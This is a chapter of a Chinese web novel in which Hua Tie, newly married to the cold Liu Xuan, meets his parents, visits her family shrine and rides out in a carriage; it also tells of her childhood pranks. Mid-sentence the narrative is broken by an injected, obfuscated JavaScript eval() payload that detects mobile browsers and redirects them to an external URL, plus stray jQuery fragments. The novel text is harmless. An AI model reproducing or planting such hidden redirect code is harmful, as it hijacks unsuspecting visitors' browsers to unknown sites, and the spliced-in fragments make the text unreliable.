2. 第 2 章
作品:《花贴贴,柳悬悬》 花贴走到门外,见那人正立于廊下等待着,身姿挺拔,可眉目间罩着淡淡忧愁,不知在想些什么。
她一声夫君,将那人唤得一怔,随即面上忧愁改为嫌弃,也不管是否有旁人在场,丝毫不顾忌花贴颜面,冷冷道:“别这样叫我,恶心。”
花贴并不恼火,跟着他的脚步往前走,一脸天真相,偏过头去问道:“那我叫你什么呀?现在这个时间,不都唤夫君嘛?”
柳悬并未看她,语气平淡:“那是旁人,我们俩之间,不需要如此亲昵,你若唤我,就像从前一样叫柳悬就是。”
“我不!叫你柳悬多生分啊,咱俩可是成婚了诶,成婚诶!”
说罢便皱着眉头,思考还可以唤他什么。
她将手指点在唇上,低声喃喃道:“这古时候都叫老公叫什么来着?郎君?官人?相公?”
她声音太小,柳悬听得并不真切,只听她说了好几个更加羞人的称呼,眉头皱得更深,制止道:“就叫我柳悬。”
可身旁的人像没有听到似的,并不搭理,片刻后眼睛一亮,拦在柳悬身前,掰着手指头,挑了几个称呼让他选:“你选吧,我可以叫你宝贝,叫你宝宝,还可以叫你阿悬,叫你悬悬,或者叫你...老公。”
一股脑说完,自己倒先红了脸,垂头娇笑起来。
途径的下人们都投来异样的目光,柳悬有些难堪,一字字重复道:“我说了,就叫柳悬。”
花贴却没有在意,回到他身侧,自顾自问道:“阿悬,你刚才看起来有心事,怎么了?”
柳悬:“...”
但沉默片刻,还是硬着头皮张了嘴,道:“昨夜我们新婚之夜,若我娘问起,你就说我醉酒,不清醒了。”
花贴从来没有这方面经验,她连嘴都没亲过,更别说这些床笫之事了。
面上一红,答应着:“知道了。”
两人行至堂屋时,屋里正吵闹得欢,门外等待的家丁进去通传:“老爷夫人,来了。”
众人赶忙住了嘴,正襟危坐,等着二人进门。
花贴与柳悬都身着桃粉色纱袍,上面用银线绣着栩栩如生的大雁,佳人才子,甚为相配,好一双璧人。
花贴端起托盘上的茶杯,依次递了上去,甜甜一笑,唤道:“爹,娘,请喝茶。”
柳夫人应声接过,浅啜一口,从桌上拿起一精致的绣金蜀锦盒子,打开展示。
只见里面躺着一只无暇剔透的翡翠镯子,她将玉镯拾起,想要戴在花贴的手腕上。
见她神色犹豫,解释道:“阿贴,这是当年你爹发家时我让他留出来的两块玉,制成了一对手镯,当时我跟你爹就想好了,若以后有了女儿或媳妇,就留给她,你看你大嫂手上也有一个。”
说着便要往她手腕上套。
“娘,这不合适,这太贵重了。”
花贴看这翡翠成色就知一定价值连城,所以迟迟不肯放松攥紧的拳头,向一旁的柳悬投去求助的眼神。
柳悬虽不愿承认花贴是他要共度一生的娘子,可既已成了亲拜了堂,饶是他再不愿也无济于事,干脆点了点头,示意她收下。
一旁的柳老爷子也开口劝道:“阿贴收下吧,这也是你娘的见面礼。”
花贴无可奈何,虽有些受之有愧,但仍是由着柳夫人喜笑颜开地拽过自己的手腕。
柳夫人抽了块丝绸帕子,将它覆在花贴纤细白嫩的手腕上,顺势一滑,那无暇碧玉便出现在她腕间。
柳夫人一脸疼爱,摩挲着花贴的白嫩手背,有些得尝所愿的感觉在,嘴里念叨着:“这块玉是咱们柳家的根,若当年没挖出这玉石,老柳家现在还不知道蹲在哪里啃咸菜呢。这下好了,这一对镯子也都找到归宿了,等你们以后去了别处,也算是个念想吧。”
别处?
花贴有些不明白,向身旁的柳悬递了个疑问的眼神。
柳悬瞥了她一眼,惜字如金:“三日后宣旨赴任。”
啊,是了。
花贴恍然想起来,昨日在来柳府的路上好像是听到有人提起当今天子对他欣赏有加,再看他房中的那些书籍,想必是参加了科考,也不知这要去的地方有什么好吃的好玩的,跟这九仙城比怎么样,还有三日,那这三日我要好好吃喝玩乐,反正柳悬有钱。
正当她默默盘算时,身后的中年妇人拿了张帕子走上前来,古时候的陋习,到哪里都免不了俗。
柳夫人看着那洁白的帕子,有些怔。
花贴虽没有过此类事情,却架不住小说电视剧看得多,一下子便明白这是什么,怪不得柳悬刚才愁云满面,刚要解释,却被柳夫人打断。
“没事,没事,昨夜定是小悬喝醉了,你下去吧。”
自己的儿子她再清楚不过,小悬不可能让自己处于不受控的状态。
她也知道,婚约对象由见山换成小悬,阿贴定是一时无法接受,既然两人现在还无意,便不能强求。
在她看来,小悬比见山更适合阿贴,给点时间,自然水到渠成。
用过早饭,柳悬便携花贴一起前往花家祠堂。
花家原本在宅邸之内设有祠堂,可宅邸被抵,柳老爷子便早早的找了木匠将先前花渐鸿提过的那处狭小祖宅重新修缮了一下,也是块风水宝地。
紫晶正在门外焦急等候,远远便望见自家小姐下了马车,与柳家公子一前一后向祠堂走来,她放下心来,忙迎上前去,自觉地上前搭手。
花贴见这岁数看起来与自己差不多大的女孩与自己格外亲近些,便心中明了,虽然昨日一直盖着盖头没机会见,可能看出这便是紫晶了。
两人从祠堂出来时已是晌午,花贴不想这样早回去,却又不好意思说,在马车面前欲言又止迟迟不上。
柳悬在车内等不到人,有些不耐,掀了帘子问道:“你走不走?”
花贴咬着嘴唇憋了好大一会儿,才道:“我不想回家,我想...出去玩。”
柳悬有些不耐烦,但又怕她回家告状,耐下性子嘱咐身旁随从:“再叫辆马车给她。”
花贴听了,甚为不满。
她一步跨上马车,钻了进去,道:“跟我一起去吧,再叫一辆马车费时费力,我们一起,就在城中转转。”
柳悬眼睛一闭,微微叹了口气,却没再拒绝,摆了摆手,示意出发。
估摸着快到城门口,花贴上前撩开帷帐,嘱咐小厮在城门口停下。
城外的土路上遍布石子,并不平坦,她虽放低了重心稳住身体,却仍旧被颠簸了一下,慌乱之中想要抓住个什么东西稳住,可情急之下只能紧紧拽住那并不牢靠的帐布。
布被完完整整扯下,人也跟着仰倒。
端坐在她身后的柳悬明明可以稳稳接住,他却屁股一抬,挪到了旁边。
花贴摔倒在马车上,万幸那软座并没伤到她,虽不是狗吃屎,但那姿态也与大家闺秀无甚关系。
听见动静,跟在旁边的紫晶与柳家下人们忙上前几
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143152|164579||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
步察看,却看到这荒诞一幕,众人相视一眼,面色尴尬,只能当作什么都没看到,缓缓退至一旁。
就算这马车的座椅再柔软,可死物与活物碰撞,终究还是疼的。
花贴皱着眉头,放开手中紧紧攥着的帐布,双手反转到后背,不停地抚摸着刚才被撞到的地方。
柳悬坐在一旁,眼神中似是有些内疚,但很快便想起了这些年的桩桩件件,收起视线,不再看她,只是静静地等着。
要说起柳家公子们为何对花贴毫无绅士可言,那可有一段陈年旧事。
那时花贴年纪尚小,柳悬与柳见山一同跟随着柳老爷子去花府吃茶,在后院玩耍时看到池塘中飘来一条奄奄一息的小鲤鱼,两人觉得可怜,伸手想要捞起来看看还能不能救活。
花贴却神不知鬼不觉的绕到两人身后,张牙舞爪地突然大叫,柳悬被突如其来的声响吓了一大跳,脚底不稳,拽着见山的衣袖连同他一起掉下了池塘。
管家下人们赶忙将两人捞上来,去内堂报了这荒唐事,柳老爷子只是回:男子汉大丈夫,掉进池塘有什么要紧,天又不冷,太阳那么大,先在那庭中将衣物晾干,湿漉漉的进屋,成何体统!
好友的儿子与孙子,花府老爷也不好劝,家里只有花贴独女,何来男童衣物,无奈之下,命下人们拿了些小姐的罗裙与被褥到庭中让两名公子换上。
见山性子倔强,不肯换,柳悬便与他一起落汤鸡似的立在亭子中不知该如何是好。
花贴却在一旁哈哈大笑,笑话两人是爹不疼爷不爱,还说两人一点常识都没有,是大笨蛋,那鱼儿分明已经肚皮朝上,死得不能再死了。
见山嘴笨,柳悬不语,两人就这样面红耳赤地站在亭子中任由她笑,偶尔来一阵微风,才能吹散一些她放肆的欢声笑语。
终于柳老爷子带着两人要离开时,身后的花贴却追到门口又将两人叫住,提了一个小小篮筐,冲着柳老爷子甜甜一笑,亲昵地叫了声柳伯伯好。
柳老爷子膝下无女,每次见到花贴就像见到亲闺女一般,见她递给见山这小小篮筐后他却并未接下,佯装怒道:“阿贴给你的礼物为何不收下!还有半分君子之仪没有?”
就这样,两人只能接下这条刚才在池塘中未捞上来的死鱼,回家后双双感染风寒,半月才下了床。
诸如此类事情还有许多,譬如除夕夜在柳悬脚底放鞭炮、在学堂时将捕来的青蛙放在见山的书包、在两家一起吃饭时将两人的头发丝编在一起,等等等等,从小到大,数不胜数,自此,花家大小姐的恶劣名声就传遍整个九仙城,人人都道她喜怒无常爱捉弄人,总是做一些教人匪夷所思之事,是个性子顽劣的奇怪女子。
自花府没落,花贴便求了柳老爷子,想要履行当年婚约,与柳见山成亲,但柳见山见她就发怵,在得知消息后连夜逃窜,只留下一封信,上面写着:爷爷,圆吾江湖梦,勿念!
柳老爷子一气之下痛打他爹数十耳光,怒斥他教子无方,他爹的脸肿的像猪头,却也拿柳见山没有办法,寻又寻不到,只得替他儿子白白挨了这顿教训。
柳家终究还是不忍见花贴无容身之地,况且当年的婚约人尽皆知,商人世家,最重信用,若不履行,实在不妥,对自家生意也是百害而无一利,若闹得这九仙城风风雨雨,当真是难以收场。
柳老爷子心想,反正三人从小便相识,阿贴应也愿意,便在旧友牌位面前请了罪改了诺,将自己的小儿子柳悬推了出来,与之完婚。